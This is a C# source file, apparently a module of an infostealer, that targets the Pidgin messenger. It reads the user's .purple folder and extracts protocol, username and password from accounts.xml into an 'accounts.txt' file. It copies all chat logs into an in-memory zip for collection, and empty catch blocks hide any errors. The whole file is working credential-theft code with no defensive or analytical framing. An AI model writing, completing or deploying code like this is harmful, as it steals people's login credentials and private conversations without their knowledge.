Files
2026-08-27 10:55:23 -06:00

100 lines
2.8 KiB
C#

using System;
using System.IO;
using System.Text;
using System.Xml;
using Intelix.Helper.Data;
namespace Intelix.Targets.Messangers;
public class Pidgin : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".purple");
if (Directory.Exists(text))
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Pidgin";
CollectAccounts(zip, text, counterApplications);
CollectLogs(zip, text, counterApplications);
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Pidgin\\");
counter.Messangers.Add(counterApplications);
}
}
}
private void CollectLogs(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications)
{
try
{
string text = Path.Combine(pidginRoot, "logs");
if (Directory.Exists(text))
{
string text2 = Path.Combine("Pidgin", "chatlogs");
zip.AddDirectoryFiles(text, text2);
counterApplications.Files.Add(text + " => " + text2);
}
}
catch
{
}
}
private void CollectAccounts(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications)
{
try
{
string text = Path.Combine(pidginRoot, "accounts.xml");
if (!File.Exists(text))
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
XmlDocument xmlDocument = new XmlDocument();
using (XmlReader reader = XmlReader.Create(text, new XmlReaderSettings
{
IgnoreComments = true,
IgnoreWhitespace = true
}))
{
xmlDocument.Load(reader);
}
XmlElement documentElement = xmlDocument.DocumentElement;
if (documentElement == null)
{
return;
}
foreach (XmlNode childNode in documentElement.ChildNodes)
{
if (childNode.ChildNodes.Count >= 3)
{
XmlNode xmlNode2 = childNode.ChildNodes[0];
XmlNode xmlNode3 = childNode.ChildNodes[1];
XmlNode xmlNode4 = childNode.ChildNodes[2];
string text2 = xmlNode2?.InnerText;
string text3 = xmlNode3?.InnerText;
string text4 = xmlNode4?.InnerText;
if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4))
{
stringBuilder.AppendLine("Protocol: " + text2);
stringBuilder.AppendLine("Username: " + text3);
stringBuilder.AppendLine("Password: " + text4);
stringBuilder.AppendLine();
}
}
}
if (stringBuilder.Length != 0)
{
string text5 = Path.Combine("Pidgin", "accounts.txt");
zip.AddTextFile(text5, stringBuilder.ToString());
counterApplications.Files.Add(text + " => " + text5);
}
}
catch
{
}
}
}